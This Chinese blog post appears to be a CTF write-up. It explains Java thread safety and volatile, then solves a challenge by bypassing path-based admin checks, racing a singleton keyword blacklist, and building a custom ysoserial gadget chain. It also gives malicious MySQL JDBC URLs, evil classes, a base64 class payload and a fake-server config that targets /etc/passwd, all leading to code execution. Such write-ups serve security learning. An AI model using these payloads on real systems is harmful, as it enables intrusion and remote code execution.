Java 线程导致的安全问题

date
Jun 13, 2022
slug
java-thread-security
status
Published
tags
Java安全
安全研究
summary
又是填坑学习的一天
type
Post

线程的简单使用

简单看一个demo:
public class Main {
    public static void main(String[] args) {
        System.out.println("main start...");
        Thread t = new Thread() {
            public void run() {
                System.out.println("thread run...");
                System.out.println("thread end.");
            }
        };
        t.start();
        System.out.println("main end...");
    }
}
这段代码从Thread派生一个自定义类,然后覆写run()方法,通过start()方法会在内部自动调用实例的run()方法,注意这里不能直接调用run方法,直接调用Thread实例的run()方法是无效的,原因如下:
notion image
另外这段代码值得注意的是main end,thread run,thread end 打印的时间都无法确定,因为从t线程开始运行以后,两个线程就开始同时运行了,并且由操作系统调度,程序本身无法确定线程的调度顺序。
如果需要限定某一个线程运行时间,可以使用Thread.sleep(20); 去进行限定,比如在主线程里面停一段时间,可以将代码内容改成这样:
public class Main {
    public static void main(String[] args) {
        System.out.println("main start...");
        Thread t = new Thread() {
            public void run() {
                System.out.println("thread run...");
                System.out.println("thread end.");
            }
        };
        t.start();
        try {
            Thread.sleep(20);
        } catch (InterruptedException e) {}
        System.out.println("main end...");
    }
}
就可以保证main线程最后才执行
notion image

volatile 关键字

主要有几个知识点:
  1. JMM(Java Memory Model),Java 内存模型的特性:
    1. 易导致线程对共享变量的修改没有即时更新到主内存,或者线程没能够即时将共享变量的最新值同步到工作内存中,从而使得线程在使用共享变量的值时,该值并不是最新的。
  1. 为了解决上述问题引入加锁(synchronizer) 和 使用 volatile 关键字:
    1. 主要是volatile这个关键字,这个关键字保证了不同线程对共享变量操作的可见性,也就是说一个线程修改了 volatile 修饰的变量,当修改后的变量写回主内存时,其他线程能立即看到最新值
  1. volatile 关键字存在原子性问题:
    1. 多线程环境下,使用 volatile 修饰的变量是线程不安全的,特别在一些单例模式下,需要加上锁操作
       

例题

有大哥直接弄了docker,直接拉一个就好:docker pull turkeys/non_rce:latest
代码分析
整个代码都使用Servlet 3.0注解写的,使用的内嵌的Tomcat进行启动,那么关键逻辑就是看看servlet和filter,servlet主要关注的是AdminServlet.java ,很明显的想考察JDBC反序列化的点,但是可控点中间经过一些检测
notion image
再来看看filter,主要是两个文件,一个是AntiUrlAttackFilter.java另外一个是LoginFilter.java,分别对/*/admin/* 下的路由进行了检测,但是在LoginFilter.java是并不清楚相关的密码的,但是我们又需要进入到/admin/* 这个路由下,所以这题目目标很清楚,绕过限制进入admin后台→绕过JDBC限制→触发JDBC反序列化
notion image
权限绕过
因为LoginFilter.java做了相关的限制,但是还剩下另外一个filter可以操控,AntiUrlAttackFilter.java这个文件是对/* 所有路由进行一个处理的,但是在他的主逻辑里面却存在直接转发forward的操作,而且用的还是req.getRequestURI() 进行操作,这个函数在一些权限绕过场景经常出现了,给了绕过一个很好的机会
notion image
所以针对这一点,有两种路由可以绕过:
/;admin/importData
/admin.//importData
 
 
 
JDBC关键字绕过
到了admin那个页面的功能就开始操作JDBC反序列化的操作了,但这里面存在黑名单检测,不允许使用"%", "autoDeserialize"
notion image
又因为JDBC反序列化又必须要有autoDeserialize 这个关键字才能触发,那怎么样才能绕过呢,没错就是上面提及到线程的安全问题了,因为这里的关键字检测是一个单例模式
notion image
这里的getBlackListChecker() 函数纯粹就是new一个对象,然后把检查的内容设置到了toBeChecked这个变量,注意这个变量是被volatile 关键字修饰的,这里就存在问题了,这里实例化是单例模式,但是使用了volatile 变量修饰,在Tomcat这种多线程场景中就会导致条件竞争的问题
notion image
notion image
所以在doCheck函数执行之前,把setToBeChecked的内容给修改掉了,这就成功绕过了,需要整一个正常的JDBC的URL(jdbc:mysql://127.0.0.1:3306/test?user=root),一个不是正常的去多线程跑一下
 
利用链构造
这个代码里面存在aspectjweaver 的依赖,但是这个链条是需要Commons-Collections的,这个题目并没有给出来,所以需要自行寻找一个
notion image
刚好这代码里面存在其他的类,所以这个题目就拿来做中转了,可以观察一下原生的aspectjweaver 链条是什么样子的,中间红色标注的内容就是Commons-Collections的内容
notion image
现在需要的就是将这里面的内容替换一下,可以看到第一步是调用了hashCode方法,然后搜索全局的代码内容,在checker.DataMap.Entry#hashCode找到相关的函数
notion image
这个函数跟org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode 十分相似,逐渐往下跟就会看到checker.DataMap#get 这个处理方法面,这里面存在一个put的方法,只要把这个this.values 变量变成SimpleCache$StorableCachingMap 这个对象就可以完美融入aspectjweaver 这条链条了
notion image
大哥们也总结的很清楚了,盗个图:
notion image
配合YSO改造一下就出来新的链条了:
package ysoserial.payloads;

import org.apache.commons.codec.binary.Base64;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import checker.DataMap;

/*
Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            DataMap$Entry.hashcode
                DataMap$Entry.getValue()
                    DataMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar NonRce "ahi.txt;YWhpaGloaQ=="

More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
 */
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })

public class NonRce implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(';');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        String[] parts = command.split(";");
        String filename = parts[0];
        byte[] content = Base64.decodeBase64(parts[1]);

        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);

        HashMap wrapperMap = new HashMap();
        wrapperMap.put(filename,content);
        DataMap dataMap = new DataMap(wrapperMap,(Map)simpleCache);

        Constructor dataMapEntryConstructor = Reflections.getFirstCtor("checker.DataMap$Entry");
        Reflections.setAccessible(dataMapEntryConstructor);
        Object dataMapEntry = dataMapEntryConstructor.newInstance(dataMap,filename);



        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, dataMapEntry);

        return map;

    }

    public static void main(String[] args) throws Exception {
        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
        PayloadRunner.run(AspectJWeaver.class, args);
    }
}
打包好:mvn clean package -DskipTests ,测试一下环境能否触发
 
RCE 触发
因为这个东西最后触发的只是写文件的操作,所以达到RCE的效果还需要继续操作
先配合MysqlFakeServer 这个工具,构造对应的payload,改造一下config配置,配上咋们刚刚打包好的YSO
方法一:
通过statementInterceptors 参数触发写入的恶意类
Evil.class的文件内容:

package servlet;

import java.io.IOException;
import java.io.Serializable;

public class Evil implements Serializable {
    public Evil() {
    }

    static {
        try {
            Runtime.getRuntime().exec("open -a calculator.app");
        } catch (IOException var1) {
            throw new RuntimeException(var1);
        }
    }
}
faker server config配置文件里面的内容
{
    "config":{
        "ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar",
        "javaBinPath":"java",
        "fileOutputDir":"./fileOutput/",
        "displayFileContentOnScreen":true,
        "saveToFile":true
    },
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "ssrf":"https://www.baidu.com/",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
    },
    "yso":{
        "Jdk7u21":["Jdk7u21","calc"],
        "URLDNS" : ["URLDNS", "http://mcm5.fuzz.red"],
        "NonRce":["NonRce","./target/classes/servlet/Evil.clsss;yv66vgAAADQAJQoACQAUCgAVABYIABcKABUAGAcAGQcAGgoABgAbBwAcBwAdBwAeAQAGPGluaXQ%2bAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ%2bAQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAHwwAIAAhAQAWb3BlbiAtYSBjYWxjdWxhdG9yLmFwcAwAIgAjAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAALACQBAAxzZXJ2bGV0L0V2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAEACgAAAAIAAQALAAwAAQANAAAAHQABAAEAAAAFKrcAAbEAAAABAA4AAAAGAAEAAAAGAAgADwAMAAEADQAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7%2bxAAEAAAAJAAwABQACAA4AAAAWAAUAAAAJAAkADAAMAAoADQALABYADQAQAAAABwACTAcAEQkAAQASAAAAAgAT"]
    }
}
开启fake server , 然后打下面的URL过去,此时已经能成功写入内容了:
/admin.//importData?databaseType=mysql&jdbcUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true%26user=NonRce%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
然后再通过JDBC_URL可控点statementInterceptors 去触发,注意这里类名一定是全路径的
/admin.//importData?databaseType=mysql&jdbcUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true%26user=NonRce%26password=root%26statementInterceptors=servlet.Evil
可以触发的原因如下图,因为这个参数会触发Class.forName,所以会加载静态代码模块
notion image
 
 
 
方法二:
通过构造一个存在readObject函数的类,然后通过反序列化的方式触发该类的readObject函数这是由JDBC反序列化的流程决定的,怎么个操作法呢?
先构造一个恶意类,readObject函数里面存在恶意操作:

package servlet;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Evil implements Serializable {
    public Evil() {
    }

    private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
        out.defaultReadObject();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec("open -a calculator.app");
    }
}
编译好写入,修改faker server的config里面对应内容,操作,此时就可以写入我们构造好的类了
/admin.//importData?databaseType=mysql&jdbcUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true%26user=NonRce%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
怎么触发?需要再发一遍这个类的序列化流,这个要怎么操作呢?先生成一个对象流:
public static void main(String[] args) throws Exception {
        Evil o = new Evil();
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(o);
    }
然后修改一下faker server里面的server.py这个函数内容,直接返回我们自己生成对象的内容,此时凡是跟yso操作相关的内容,都只会返回我们自己编译好的类内容,当然也可以选择其他地方代码进行修改操作
notion image
好像没触发成功?
重新监听端口发送一样的URL链接即可触发成功
/admin.//importData?databaseType=mysql&jdbcUrl=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true%26user=NonRce%26password=root%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
notion image
 
 
方法三:
跟方法一有异曲同工之妙,不过处理的流程不一样罢了,这个是实现了interceptor接口的恶意类,这个应该也是跟JDBC的触发流程相关的
package servlet;
import com.mysql.jdbc.Connection;
import com.mysql.jdbc.ResultSetInternalMethods;
import com.mysql.jdbc.Statement;
import com.mysql.jdbc.StatementInterceptor;

import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties;

public class antInterceptor implements  StatementInterceptor{

    @Override
    public void init(Connection connection, Properties properties) throws SQLException {

    }

    @Override
    public ResultSetInternalMethods preProcess(String s, Statement statement, Connection connection) throws SQLException {
        return null;
    }


    @Override
    public ResultSetInternalMethods postProcess(String s, Statement statement, ResultSetInternalMethods resultSetInternalMethods, Connection connection) throws SQLException {
        try {
            Runtime.getRuntime().exec("open -a calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }

    @Override
    public boolean executeTopLevelOnly() {
        return false;
    }

    @Override
    public void destroy() {

    }
}
写入这个类之后,触发的链接需要修改一下,需要改成这个样子就能够触发: statementInterceptors=servlet.antInterceptor
调试过程中发现,它是利用了这个类实例化的对象里面,各个阶段的函数,所以如果想保证一下命令执行能够成功触发,其实可以在initpreProcesspostProcess 等这几个函数里面都写上执行语句就行
 
多线程触发
这里使用方法三RCE去跑一下流程,构造两个包
notion image
然后开始条件竞争一下,成功写入
notion image
notion image
再触发一下,命令执行,成功在tmp目录下新建success文件:
notion image
 
 

总结

  1. 单例模式在多线程环境下的危害
  1. JDBC反序列化写文件—>触发RCE的攻击链
 

© 4me 2021 - 2024